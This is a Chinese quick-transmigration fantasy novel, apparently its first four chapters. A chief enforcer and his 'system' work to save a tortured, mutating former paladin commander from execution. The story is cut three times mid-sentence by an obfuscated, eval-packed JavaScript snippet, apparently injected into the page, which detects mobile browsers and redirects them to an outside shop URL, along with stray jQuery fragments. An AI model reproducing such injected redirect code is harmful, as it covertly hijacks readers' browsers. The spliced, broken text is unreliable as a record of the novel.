《主角怎么这么惨?[快穿]》
1. 主角快死了?
光线沉降,平原覆上一层蜂蜜与琥珀交融的色泽,橡树的影子像墨迹般缓慢洇开,拉得瘦长。
椋鸟掠过天空,飞向林间,柔软的鸣叫声随着羽翅的震动向下降落,蹭在几扇布开裂纹的窗沿旁边。
“……要善良,同时也要冷静,不要任由嫉妒的力量控制你,更不要愤怒,要知道愤怒是一切罪恶的源泉,它控制了你,你就要走向黑暗。”
穿着漆黑长袍的教师站在讲台上,一遍又一遍地重复学生们早就烂熟于心的戒律,沾满粉笔粉末的手指在黑板上点个不停。
他似乎也觉得这些话说了太多,可是望着台下一双双懵懂的眼睛,还是忍不住再多讲一遍。
“不要怨恨,怨恨是蛇,会爬进你的身体,缠绕你的心脏,要懂得原谅的力量,懂得宽恕。
“如果一个人怨恨你,想要伤害你,那你应该怎么做?”
他询问讲台下的学生。
“安慰他,怜悯他,”学生异口同声地回答,“最后原谅他,宽恕他。”
这是写在课本上的标准答案,而在层层叠叠的书页之上,类似的答案还有很多,无一不是在强调宽恕与怜悯。
听到学生将答案牢记于心,不管他们是不是真心认可,教师都满意地点了点头,正好这时窗外的下课铃被人摇晃,叮叮当当的响声传入教室。
课堂氛围随之松动,教师拍拍手掌,示意下课后离开了教室。
而他刚踏出门不过半秒,教室里就乱成一锅粥。
几个男孩在窗边围成一团,最中间的那个男孩手中拿着一本翻到快要破烂的画册,上面画着不少圣庭额外推崇的职业方向。
“我要当执法官,”一个雀斑男孩抢先说,手指敲着窗台,目光灼灼地停在画册第一页,“把坏蛋都抓起来。”
“执法官不如圣骑士,”更壮的男孩挥了挥拳头,“圣骑士有剑,专门打黑暗!”
像是要印证自己的说法,他抢过画册,飞快往后翻了两页,将画册上那个身着盔甲的形象展示出来,得意洋洋地戳了戳人物手中提着的长剑。
于是争论继续。
窗外的光缓缓褪成暗金色,橡树林的轮廓模糊起来。
那些关于铠甲、魔法和英雄的争论,在渐浓的暮色里显得格外清脆,像玻璃弹珠一样滚动在旧地板上,简单明亮,不容置疑。
……
教师夹着课本走出教室,粉笔灰在袖口留下淡淡的白痕。
木地板在脚下发出舒缓的吱呀声,另一位同僚正巧也从隔壁教室出来,两人并肩往办公室走去。
窗内孩子们的争论声隐约飘出来,那句“圣骑士有剑,专门打黑暗”格外响亮。
两位教师相视一笑,年长些的那位摇了摇头,语气带着下班前特有的松弛:“圣骑士……那可不好当。”
他顿了顿,像是想起什么,声音压低了些,却还是顺着闲聊的惯性说了下去,“前段时间不是听说出事了么?好像是北边……”
话没说完,他的胳膊便被同伴轻轻撞了一下。声音戛然而止。
走廊尽头,一个人影安静地立在那里,正面朝他们的方向,不知站了多久。
先前说话的那位教师心里蓦地一紧,胸腔里的跳动漏了一拍,又沉沉地撞上来。
虽然隔得远,但他看得清楚,那人的胸前别着一枚徽章,是圆环环绕着斜十字架,十字中央,精致的百合花束缠绕而生。
是执法官的标志。
而在那人身旁,平日里总挺着肚子的校长微微躬身,姿态是前所未有的恭敬,正低声说着什么。
暮色从尽头的高窗斜斜切下,将徽章以及校长殷勤的侧脸,一并框进模糊而沉重的光影里。
两位教师一同意识到情况不一般,连忙低下头,加快脚步从两人身边走过,只在经过时含糊地低声问了句好。
校长扫过来一眼,没理会他们,转过头,继续用那种刻意放低的语气对身旁的人说:
“……如果您需要的话,档案室、任何一个教室,都可以随意察看。”
走廊的光线更暗了。
其实校长平日里不是对视察人员卑躬屈膝的角色,他多数情况下都不乐意露面,自认身为教职人员,要比圣庭里那些不知所谓的大人高贵太多。
但今天这位不同。
首席执法官,只能在圣庭和重大危机场合才能见到的人物。
如果校长此生没有升迁指望,那今天这一面,就会是他人生中唯一一次见证到圣庭权力的顶端。
他不得不谨慎小心。
闻听此言,单议秋收回了落在两位匆匆离去教师身上的目光,光影洒在他的侧脸,让眼角弧度更显温和。
“只是随便看看,”他笑道,“不打扰正常教学。”
他的视线掠过远处教室窗口残留的喧嚣剪影,又问:“现在还有很多孩子想当圣骑士吗?”
校长脸上立刻堆起一个恰到好处的笑容,混合着理解与些许无奈的世故。
“想自然是想的,课本和画册里总是把他们描绘得光辉无比。”
他斟酌着词句,声音压得更低了些。
“但您知道,那需要的东西不止是愿望。足够坚定的意志,毫无瑕疵的信仰根基,还有……某种代价。不同您说那些虚的,现实里,符合条件的孩子太少见了。”
校长说的是实话,单议秋点了点头,又和他绕着学校走了一圈。
确定没什么问题后,他摆手让校长去忙工作,自己则转身朝校门走去。
校门外,一队人马静候着,马蹄在铺路石上偶尔轻踏。
为首的人长了一张方块脸,三十岁上下,眉毛粗短,容光焕发,身着银白铠甲的衬袍,外罩绣有金色十字的短披风。
单议秋脚步微顿,认出这是圣骑士团最近才提拔的副团长。春风得意,难怪有气色。
副团长看见人出来,脸上立刻堆起过分殷切的笑容,几步上前,问都没问就直接握住了单议秋的手。
“阁下,您不该独自进去,”他声音洪亮,刻意关切道,“这种地方虽说只是所小学,但毕竟情况未明,太危险了。”
他絮絮叨叨地说了些场面话,无非是担忧、责任、圣庭的重视,人的耳朵都要听得起茧子。
单议秋任由他握着手,笑容得体,不见分毫不耐,眼神专注。
他先是安静听完那番关于责任与担忧的场面话,肯定了副团长的用心,才将手不徐不疾地抽回。
“调查是我的职责,”他慢条斯理道,“不需要圣骑士团额外陪同。”
副团长的笑容在半空中顿了一瞬,旋即绽得更热切,话里也掺进更多恭维。
“您说的是。只是如今形势微妙,光明之下也需谨慎。即便在团内……”他压低声音,意有所指,“也难免有需要清理的杂草。光明终会重燃,但在那之前,总得尽力保全才是。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228776|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“副团长考虑得周到。”
单议秋颔首,语调依旧温和,“正因如此,修剪时才更需仔细分辨哪些是真正的杂草,哪些只是暂时长错了地方的苗木。”
他话音落下,并未刻意去看对方的表情,微微颔首致意,便转身从容上了车。
这微妙的反击并没有被其他人察觉,车门关上,将外面隐约的“脾气真好”之类的低语隔绝大半。
车厢里,单议秋靠进座椅里,不去理会那点残存的尾音。
马车内部延续了圣庭一贯的简洁朴素,木纹表面连漆料都没涂平。然而,目光所及的每一处边缘,都铭刻着繁复的守护符文,此刻正随着马车行进微微发光,显出一种沉默而精密的森严。
单议秋用指尖勾住厚重的窗帘,眼角余光瞥见一圈浅黄色的光芒无声亮起,悬浮在身侧。
“系统,”他在脑海中发问,“主角怎么样了?”
[我不叫系统,] 那圈黄光微微闪烁,传来一个带着点电子质感的、试图严肃的声音,[我有名字,我叫9653。]
“言左右而顾其他,是心虚的表现,”单议秋指出,“所以主角怎么样了?”
被戳穿伪装,黄光闪烁的频率乱了一瞬。
过了好一会儿,它才慢吞吞地开口:[不是很好。]
“我们来界定一下这个‘不是很好’,”单议秋富有耐心地扮演引导型宿主,“是生了病,一直在打喷嚏的不是很好,还是马上就要死了的不是很好?”
9653又沉默了。
[……第二种。]
单议秋沉默地看了黄光一秒。
“我并没有想要指责什么,但是你确定吗?”他问,“我入职的时候看过基本工作报告,主角征服世界的流程不是这样的。”
单议秋是新人宿主,眼前这个世界也确实是他执行的第一个任务,但这不意味着单议秋发现不了问题,过往积累的知识告诉他,眼前的情况很不对。
[主角就是不该这样!!!]
听见它这么说,9653的情绪激动起来,扯着一口破锣嗓子撕心裂肺:[他早该离开监狱了!半个月前他就该离开了,他为什么还在里面!!]
任务世界里的发展不该是这样的,报告书里记得很清楚,主角应该在吸收了黑暗能量后发生异变,遭受折磨,对信仰产生怀疑,然后愤怒摧毁监狱,酝酿毁灭世界!
现在是怎么回事?
9653调出生命体征指数图。
一道半透明的光幕在单议秋眼前展开,惨淡的红光映亮了他没什么表情的侧脸。
光幕上,一条代表生命体征的曲线正持续下滑,末端已经触底般徘徊在30%的阈值附近,刺目的红色不断闪烁预警。
[不应该啊,]9653越看越想不通,很崩溃,[我们要不再等等?]
这次轮到单议秋无话可说了。
指数图将马车内部映照出一片惨淡的血色,单议秋斟酌两秒钟,还是实话实说:“我觉得再等他就真的要死了。”
新手系统第一次出任务就害死主角摧毁世界,9653以后也不用在系统空间混了。
意识到未来岌岌可危,黄光剧烈地明灭了几下,数据流陷入了混乱。
[那……那现在怎么办?]
单议秋的目光从车窗外收回,落在眼前那片代表危机的红光上。
“掉头,”他道,“我们去看看。”
2. 主角真的快死了
圣庭单独设立的监狱不叫监狱,叫默间。好像换个名字就能让铁链不再硌手,刑具不再疼痛似的。
黑暗中,谢寒声忘记了很多事情,对时间的感知仅停留在伤口附近新长出的鳞片上。
每多长出一片,时间就过去一天,他就朝死亡靠近一步。
然而死亡将至的打击远不及心灵上的挫折,绝大多数时间里,谢寒声甚至都没有心情考虑死亡的事情。
只有满怀邪恶之人才会被黑暗侵染。
过去的一切是这样告诉谢寒声的。
因为你愤怒,你怨恨,你嫉妒,你贪婪,你给黑暗留出了侵入的缝隙,所以你才会异变成怪物,因此你之后所经受的一切都是你咎由自取。
尚未愈合的伤口滴出一串新鲜的血液,落在地上时,迸溅出更浅但同样鲜明的血腥味。
谢寒声喘出一口气,慢慢反应过来,自己身上没有愈合的伤口不止这一处。
监狱给他注射了很多的药剂,或许某一支的效果就是延迟伤口愈合,这解释了为什么实验之后,会有专门的刑罚人员到来。
按照执行过无数次的规程,出现异变的人本该立刻处死,这既是防止问题升级,也是留给他们最后一点为人的尊严。身为前骑士团团长,谢寒声亲手执行过不止一次,他原以为即便轮到自己,结局也不会有什么不同。
现在看来,他错了。
一个经受住了所有严苛考验、信仰曾经坚不可摧的圣骑士团长,一个活生生被黑暗侵蚀却还未彻底崩溃的样本,太过珍贵。
平日里求之不得的实验材料自己送上门来,他们怎么会允许他轻易死去?自然要榨取出最后一点价值。
牢房里没有镜子,谢寒声不知道自己如今具体变成了什么模样。
他曾摸索过自己的额头和脊背,想确认是否长出了怪物的犄角或棘刺,触手所及,只有黏腻的血和皮肤下异常坚硬的鳞片状凸起。
这是第二个月。
他不知道还有多少个月。
最初的愤怒早已被漫长且循环往复的实验与刑罚磨成了钝痛,更多时候,占据意识的是一种冰冷的困惑,像毒蛇一样啃噬着残存的理智。
谢寒声不知道自己做错了什么。
他恪守教义,秉持公正,将生命与忠诚皆献予光明。他努力摒除愤怒,消解怨恨,宽恕敌人……
他做了所有被要求的事,可黑暗还是找上了他,扭曲了他。
为什么?
在某个痛到昏迷又再次苏醒的黎明,谢寒声想起了曾经听过的一则寓言。
魔鬼被囚于瓶中,第一百年,它许诺给释放者一座金山,第二百年,它又许诺给予权力。
可到了第三百年,金山没有了,权力也没有了,释放它的人只能得到死亡。
魔鬼已经被囚禁逼疯了,被愤怒填满灵魂。
谢寒声想起这个的时候,没忍住笑了一下,牵动嘴角未愈的裂口,泛起细密的疼。
他想自己还不至于变成迫不及待要毁灭一切的魔鬼,他只是……不懂。
一次实验后的短暂间隙,守卫换班。
新来的年轻狱卒隔着栅栏,偷瞄这个从云端跌落凡尘的骑士长,眼神里面有畏惧,也有令人不适的好奇,像看笼中奇兽。
谢寒声忽然开口,声音因干渴和长久沉默而嘶哑难辨:“你觉得我是心怀罪恶之人吗?”
狱卒被这个问题吓了一跳,大概他忘了谢寒声某种程度上,还算个会说话的人。
他踌躇片刻,才嗫嚅着背诵出标准答案:“教义上说……凡是异变之人,必定心怀恶意,留有破绽。”
听到他的回答,谢寒声静静地看了他几秒,然后很慢地点了点头,不再言语。
时间一点点流逝,鳞片继续生长。
……
牢门外传来不同往常的响动,谢寒声睁开眼,听见锁链被人一层层打开。
新换班的狱卒停在门口,说:“有人要见你。”
“谁要见我?”谢寒声问。
实验和刑罚是不会提前通知的,坦白讲,事情走到今天这个地步,谢寒声也不觉得自己曾经的同僚会为他奔走。
对外界来说,曾经那个光辉灿烂的圣骑士长已经死了,留在默间的是个没有人权的怪物。
大概是行刑通知吧,谢寒声想,通知他已经完成了为人的最后一点贡献,可以去死了。
真是谢谢他们了。
但即便做好了准备,谢寒声仍然没有料到来人身份。
当那抹与牢房格格不入的身影停在栅栏外时,谢寒声难以置信地眨眨眼睛,怀疑自己已经死了,现在地狱为他敞开了大门。
“……”
来自地狱的魔鬼穿了一件深色制服,腰身收束,衬得身形修长,胸前的徽章反射出牢房里仅剩的亮光,黑发黑眼。
圣庭中有这样相貌的人,除了谢寒声自己,只有一个人。
单议秋站在牢门外。
时隔多年,再次面对面,执法官仍然是执法官,整洁优雅,圣骑士却已经沦落到了泥沼之中,连抬头的动作都会让伤口滚出一串鲜血,狼狈不堪。
谢寒声琢磨着眼前场景,只觉得讽刺直往喉咙里灌。
沉默在浑浊的空气中蔓延,片刻后,单议秋先开了口。
“你看上去快要死了。”
闻听此言,谢寒声低笑起来,笑声扯动伤口,嘶哑里充斥着火药味:“执法官大人,我是满怀罪恶之人,你最好离远点。”
单议秋没接话,他从不回应别人带刺的话。
面对谢寒声的冷嘲热讽,他唯一做的就是向前迈了半步,然后毫无预兆地伸出手。
那是一双格外干净的手,指节修长,肤色在昏暗中也显得明晰,与周遭污浊血腥的环境对比鲜明。
指尖准确无误地按在了谢寒声锁骨下方,那里被锈蚀的铁链贯穿,皮肉翻卷。
剧痛传来,谢寒声猛地一颤,闷哼出声。
“你现在连站起身都做不到,杀我可能会比较困难。”
单议秋这样说,手指却没移开,反而顺着伤口滑下去,触到了旁边新生的几片鳞片上。
那些鳞片色泽暗沉,却异常光滑坚硬,像某种冷血动物的甲壳。他又仔细地摸了摸那片坚硬,才收回手。
谢寒声疼得说不出话,汗水裹着血往下滴。
他瞪着单议秋,想看看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228777|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他接下来要做什么。
可单议秋却没再看谢寒声。
“谢团长对我很有敌意,”他垂着眼,对着血迹斑斑的地面温声发问,“是我的错觉吗?”
谢寒声的血滴在他的手上,在牢房昏暗的光线里呈现出深沉的暗色,单议秋没有擦拭,连垂眼审视的动作都省去了。
这样的场景,让谢寒声不自觉联想到了曾经圣庭广为宣传的几张照片。
照片里,单议秋就是这样耐心对待遇袭后残伤的受害者,人们从照片里看到了执法官的温柔与怜悯,可谢寒声却砸摸到层层叠叠的漠然。
“……你得体谅我,”缓了一会儿,谢寒声才开口,“我现在是个怪物,怪物对谁都有敌意。”
“能意识到自己是怪物,就说明你还有救。”单议秋说。
说完,不等谢寒声有所反应,他带着沾了一手的血,转身离开了牢房。
……
昏暗的甬道里,脚步声渐远。
单议秋垂眼看着指尖沾染的暗红,从衣袋里取出一方纯白的手帕,慢条斯理地擦拭起来。
血渍在布料上洇开,像某种不祥的印记。
刚到门口,一名低阶执事追了上来,恭敬地递上一份盖有鲜红印章的文书,低声道:“阁下,行刑令已经签发了。定在明天上午。”
单议秋接过文书,指尖拂过冰冷的印章表面。
“我知道了,”他道,“麻烦不要轻举妄动,这件事情或许会有转机。”
低阶执事连连点头,额头快要压到地上,却并不显得畏缩,语气里尽是恭敬崇拜。
“我们明白,阁下放心就好!”
单议秋擦拭手指的动作微微一顿,转而拍了拍他的肩膀。
执事打了个哆嗦,脸上欣喜之色更重,恭恭敬敬地把人送出了门。
马车静静停在默间外的空地上,黑色的车厢在渐深的暮色中,几乎与阴影融为一体。拉车的两匹马不安地踏着蹄子,似乎对这座建筑散发出的气息感到本能的抗拒。
马车里,浅黄色的光圈微弱地亮起。
“9653,”单议秋看着手中的行刑令,认真询问,“你真的确定他能上演绝地翻盘,或者王者归来吗?”
光圈急促地闪烁了两下,9653不确定。
它还是很无助,现在的情况对于一个新手系统来说实在是太过残忍了,世界根本就没有按照预料的方向发展。
9653可以赌主角最后能成功逃出监狱,但是代价太大了,万一没成功,它会成为整个系统空间的笑话。
当倒数第一是很恐怖的事,9653相信有一些强大的系统可以承受这种打击,但是它太年轻了,宁愿做倒数第二,也不要当倒数第一。
短暂犹豫后,9653屈服了:[……求你了,我不想当倒数第一。]
面对系统的恳求,单议秋没有立刻回应。
他将行刑令放在一旁,向后靠入椅背,目光落在窗外流动的夜色上。
半晌过去,他弯起唇角,如完成什么艰巨工作般轻轻吁出一口气。
“好啊。”
他温声应下,做足姿态。
“我来救他。”
3. 主角不用死了
这个世界概括起来,是一本通俗的主角逆袭复仇小说。
圣骑士长在不明缘由的情况下被黑暗力量污染异变,本该立刻处死,却被高层暗中操作,秘密运往监狱,经受无数折磨。
于是坚持的信仰迎来裂缝,生不如死的折磨更是换来无尽的怀疑。
曾经那个对圣庭坚信不疑的骑士长死在了实验台上,活下来的皮囊里充斥着怨恨和愤怒。
即便让9653自己来评价这本小说,它也得说,主角好像是有点惨。
但跟现在这个还是没法比。
[你要怎么救他?]
它心惊胆战地问,时不时就将主角的生命指数图往视线中央扯一扯,力图让宿主明白现在的情况非常危急,稍有不慎,明天指数直接归零,他们所有人都要跟着这个世界一起重启。
[如果你的新手任务失败,后续会影响很多,]9653苦口婆心,[你是被寄予厚望的。]
闻言,一直低头写着什么的单议秋停下手中的笔,看过来。
“你现在的口气很像PUA我的老板,”他随意评价,“就是情绪不太对味。”
9653:[……]
察觉到系统的情绪依旧紧绷,单议秋缓和了语气,安抚道:“你不要太紧张,我当然会救他,他不会死的。”
[真的?]
“当然了,”单议秋理所应当,“他也是我的任务目标,我不会看着他死的。”
听见他这样说,9653就放心了。
而直到脑海中絮絮叨叨的声音消失,单议秋才重新提笔,继续写东西。
厚实的羊皮纸在烛光下泛出温润的质感,墨迹渐干。
单议秋在信件最末端留下自己的签名,笔迹流畅而优雅,却唯独没有标注日期。
写完后,他将信纸仔细折好,装入素白的信封,滴上深红色的火漆,拇指压下,印出一个属于首席执法官的徽记。
等一切完成,单议秋将信丢进书桌抽屉的深处,接着起身离开书桌。
夜已深了,窗外万籁俱寂。
明天有很多事情要做,单议秋却完全没有就寝的意思。
他绕过那面略作遮挡用的素雅屏风,来到房间另一侧高大的书架前,指尖掠过一排排书脊,最后停留在几本看起来格外古旧的典籍上。
单议秋随手抽出两本,丢到一旁的小圆桌上。
同时,他心念微动,脑海中那幅由9653展示的屏幕再次浮现,他将古籍翻到做了标记的章节,与系统提供的冰冷摘要摆在一起,目光在羊皮纸与光幕文字间来回移动。
这个世界区别于一般的西幻小说,战争和矛盾不来自于外部的光暗交锋,而来自人本身。
圣庭的教义宣称:人心生而纯净如水晶,完整且具备自我保存、趋向美德的先天能力。只有当个体内心主动或被动地容纳了足够多的恶意,这些毒质才会凝结,吸引并孵化出黑暗力量。
而异变的过程如同一条冰冷的毒蛇在心脏处扎根,毒液随着血液流遍全身,从内而外地扭曲□□和灵魂。
人们畏惧异变,更畏惧异变带来的杀戮,圣庭得以建立,规训人们遵循美德、克制自身。
作为圣庭下影响力最深远的两个机构,执法官负责发现问题,圣骑士负责解决问题。
单议秋的视线久久停留在一幅手绘插画上:一个赤裸的男子被狰狞的蟒蛇紧紧缠绕,男子的躯体已经发生异化,皮肤覆盖鳞片,额顶生出扭曲的尖角。
[你为什么看这个?]9653问。
“复习一下,”单议秋回答,“看看有没有漏掉什么东西。”
小光圈绕着单议秋飘来飘去:[我认为你不会。]
单议秋笑了。“谢谢你,我特别荣幸。”
9653一板一眼地回答:[夸奖你是我的职责,写在系统手册里,不用谢。]
这个系统看起来好像挺聪明,但实际上笨笨的,的确是新手。
单议秋不再多说什么,重新将注意力落回方才研究的书页上。
……
谢寒声又回到了那场宴会中。
圣庭很少有这样轻松喧闹的时刻,水晶灯将大厅映照得流光溢彩,空气里浮动着酒香与昂贵的香料气息。
谢寒声还能感觉到沉重盔甲压在肩上的错觉,但实际上他穿着笔挺的礼服,手中端着半满的酒杯,像一尊格格不入的雕塑,被包裹在衣香鬓影与虚伪的寒暄里。
他厌恶这种场合,总觉得在华丽的帷幔转角、在觥筹交错的笑语间隙,能看到权力与欲望交织的暗痕,闻到一丝若有若无的道德腐坏气息。
可圣骑士团长的身份让他无处躲藏,那些或敬畏或探究或隐含算计的目光如影随形。
勉强应付了几轮必要的应酬,谢寒声终于找到机会脱身,悄然离开喧闹的核心,朝着连接后花园的侧门走去。
推开沉重的木门,夏夜微凉的空气瞬间包裹了他,冲淡了室内的窒闷。花园沉浸在浓郁的夜色里,只有远处廊檐下零星的灯投来昏黄的光晕,勉强勾勒出精心修剪的灌木轮廓和沉睡的玫瑰丛。
这里安静得只剩下风吹过树叶的沙沙声,以及谢寒声自己逐渐平缓的呼吸。
谢寒声本来打算独自待一会儿,让紧绷的神经稍作松弛。然而,当目光掠过一片茂密的紫藤花架时,他停下了脚步。
花架投下的阴影更浓重些,但足以让他辨认出两个人影。
其中一人穿着裁剪优雅的黑色礼服,身姿修长挺拔,是那位以温和公正著称、备受圣庭上下赞誉的首席执法官,单议秋。
另一个人,谢寒声眯起眼,认出了那身象征高阶神职的深紫色绶带。
那两人站得很近,正在交谈。
单议秋微微侧着头,似乎在专注倾听,侧脸的线条在昏光中显得平静而分明,像一张无可挑剔的面具。主教则略微前倾,声音压得很低,手势略显急促。
距离和风声模糊了具体的词句,只留下一些意义不明的音节碎片。
这景象本身并没有特殊之处,同僚间私下交谈再正常不过。可不知为何,在那片刻意寻求的寂静黑暗里,这一幕让谢寒声心头掠过一丝极淡的异样。
他不是喜欢窥探别人隐私的人,那点异样感很快被谢寒声归咎于自己对这个场合的整体不适。
他移开视线,转身离开花园步入回廊,将那一角留给暗处私语的人。
第二天清晨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228778|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,谢寒声如往常一样在训练场练习剑术。汗水沿着额角滑落,晨光试图驱散昨夜残留的些许沉滞感。
就在这时,一名侍从脸色苍白、脚步踉跄地冲了进来,气喘吁吁地喊道:
“团长,出事了!……霍金斯主教昨夜在书房去世了!”
……
浓烈的血腥味像冰冷的蛛网,骤然粘住了谢寒声的口鼻与意识,将他从破碎迷离的梦境边缘拽回现实。
他睁开眼,急促地喘息着,心脏在肋骨下沉重地撞击。
牢房特有的潮湿霉味混合着铁锈与脓血的腥气,无比真实地包裹过来,梦境的残影—迅速褪色,只留下尖锐的头痛和周身伤处苏醒后的钝痛。
然后,就在这痛楚与浑浊的感官中,谢寒声察觉到了。
牢房角落,那片最深的阴影里,坐着一个人。
单议秋依旧穿着那身整洁的黑色制服,坐姿闲适,背靠着冰冷的石墙,一只手搭在屈起的膝上,指尖很干净,没有昨天的血。
牢房中不点烛火,只有高处通风口漏下的一缕极其微弱近乎虚无的夜光,勉强描摹出他安静的身影和半边轮廓。
谢寒声的呼吸窒住了,肌肉因瞬间的紧绷而刺痛,所有的昏沉与梦魇的余韵,在刹那间被警惕取代。
“……”
角落里,单议秋察觉到他的苏醒,转过脸,与谢寒声对上目光。
他的眼神在昏暗中看不真切,但唇角的弧度很真实,好像谢寒声是一场血腥的热闹。
“早上好,”他开口,声音轻快,与死寂的牢房格格不入,“看来你做了个不太愉快的梦。”
谢寒声没有回答。
他的目光先投向牢门上那个仅有人手掌大小的观察窗,沉默了片刻,才开口:“行刑时间已经过去了。”
阴影中,单议秋挑起了眉梢。
“哦?”他发出一个短促的音节,“你怎么知道行刑的时间?牢房里可没有计时的沙漏。”
“猜的。”
谢寒声言简意赅,视线从观察窗移回,“昨天狱卒的态度很特别。”
那是一种混杂了完成重大任务前的微妙松懈,与面对将死之物时最后的沉默。
谢寒声见识过太多死亡,对此很熟悉。
闻言,单议秋笑了,笑声很低,像羽毛扫过耳廓。
“真令人高兴,”笑完他说,“经历了这么多事情之后,骑士长竟然还保有如此敏锐的判断力,实在太难得了。”
谢寒声从他的话语里听出了某些超出字面意义的东西。
他皱紧眉头,牵扯到额角未愈的裂口,带来一阵刺痛。
“你要做什么?”他问。
谢寒声不像世人那样,天真地认为披着执法官袍服、拥有温和面容的人就必然代表纯粹的善。
他知道了一些本该永远隐藏的秘密,因此当他看向单议秋时,目光总是试图穿透那层令人如沐春风的皮囊,去窥探其下并非纯白的底色。
单议秋没有直接回答他的问题。
他维持着闲适的坐姿,只是搭在膝上的手指略微动了一下。
“你可以离开牢房了,”他说,迎上谢寒声骤然紧缩的瞳孔,“——你不会死了。”
4. 狗皮膏药
“——你不会死了。”
话语落进耳中,谢寒声倏地抬起头,锁链随着他的动作发出沉闷的撞击声。
他脸上没有得知获救的欣喜,只有更深的戒备与怀疑。
“你在说什么?”他问,每个字都咬得很清楚。
单议秋没有立刻回答。
他凝视着谢寒声的脸,目光飘飘荡荡地往下滑,细致地扫过谢寒声肩膀上狰狞的贯穿伤,以及伤口周围的异变鳞片。
片刻后,他终于站起身,动作不急不缓,来到谢寒声面前,从怀中取出一份拆开火漆的公文递过去。
谢寒声迟疑一瞬,才接过那张质地挺括的纸。
借着高处那缕微光,他迅速扫过上面的文字。
当看到自己的名字被列入执法团麾下,归属权后面明确写着“首席执法官单议秋”时,他的心脏跳快了一拍。
“你把我要过去了?”
他抬起头,声音沉冷。
单议秋点头:“你为圣庭、为这片土地流过血,我无法坐视一个心存良知与善念的勇士默默死去。”
“我心存善念?”
谢寒声嗤笑一声,笑声短促而冰冷,很讽刺,“执法官大人,你是用哪只眼睛看出来的?”
“我不管别人如何看待,如何定义,”单议秋低下头,“我只看事实。事实是,直至异变发生前,你的记录无可指摘,未曾蓄意伤害过任何无辜。我愿意相信自己的判断,也愿意给你一次重获新生的机会。”
这番话要是落在旁人耳中,恐怕单议秋早就获得了一个感激涕零的奴隶,然而谢寒声脸上的表情却变了一下。
他借着将公文递回去的姿势,手指猛地向前攥住了单议秋的手腕,用力一扯!
单议秋没有预料到他会突然动手,躲身不及,顺着那力道向前踉跄半步,无可避免地撞进了谢寒声血迹斑驳的怀里。
公文飘落在地。
此刻,牢房内没有第三个人,谢寒声完全有能力在下一瞬拧断单议秋手腕,又或者用残余的力量扼住眼前人纤细脆弱的脖颈。
死亡近在咫尺,单议秋却连睫毛都没有颤动一下,他就这样被拽着靠近,早有准备一般仰起脸,淡定迎上谢寒声翻涌着审视的眼睛。
对上他的目光,谢寒声舔了舔干裂出血的嘴唇,声音压低,呼吸拂过单议秋的耳廓。
“执法官大人,你要是认为我会感激你,会为你痛哭流涕,那你就错了……”
他手中用力,看着指下的皮肤泛起血色:“你知道吗?我现在就可以把你这颗漂亮的脑袋拧上一百八十度。你会死在这里,悄无声息,不会有人来救你。”
他是这样说的,也是这样做的,可单议秋没有挣扎,反而就着这个很不体面的姿势,将半个身子的重量倚进谢寒声怀里。
接着,执法官抬起未被制住的那只手,指尖又一次抚上谢寒声锁骨伤口边缘那片冰冷的鳞甲,细致地摩挲着坚硬的纹理。
“杀了我,然后呢?”单议秋开口询问,语气比谢寒声更亲热,“你昔日的同袍、朋友,所有与你尚有牵连的人,都会因‘残杀首席执法官、意图越狱’的罪名被牵连、被审查。”
“谢寒声,”他叫他的名字,“你已经被侵蚀到不顾一切,只想拉所有人陪葬的地步了吗?”
话讲得很亲昵,威胁却比想象中更加真实有力。
闻听此言,谢寒声的身体猛地僵住,像被人打了一拳,握住单议秋手腕的力道一点点地松懈下来。紧绷的肌肉里,那股骤然爆发的凶戾之气,如同被戳破的气球,在现实的冰冷拷问下迅速泄去,只剩下更深的疲惫与无力。
谢寒声松开了手。
单议秋没有退开,指尖仍搭在那片鳞甲上。两人在沉默里贴在一起,呼吸声很近。
“我有没有说过你伪善?”谢寒声忽然开口,“我现在道歉还来得及吗?”
“不用,”单议秋漫不经心道,“我不会为这个生气。”
“为什么?”
“因为你说的是实话,”单议秋语气轻松,“而且我们认识这么多年了,不管你是怎么想的,我一直觉得你是我的朋友。”
沉默在狭小污浊的空间里蔓延,谢寒声不知道自己该不该为此庆幸,他的伤口很疼,新生的鳞片还被人摸来摸去,各种感受让他混乱。
接着单议秋想起了什么,抬起眼来。
他好奇地问:“你觉得我漂亮?”
谢寒声这才意识到自己方才脱口而出了怎样不得了的词语。
他喉结动了动,干裂的嘴唇翕张,却没能立刻发出声音。
还不等谢寒声组织语言反驳或嘲讽,单议秋又兀自接了下去:“你很讨厌我。”
他仍然伏在谢寒声怀里,既不在乎自己的存在是否会加剧对方伤处的疼痛,也不在意囚犯的血会不会污染自己的衣服。
他想在那里,于是便一动不动,撑着一张慈善温和的皮,底下却裹着睚眦必报、贪婪自私的本性。
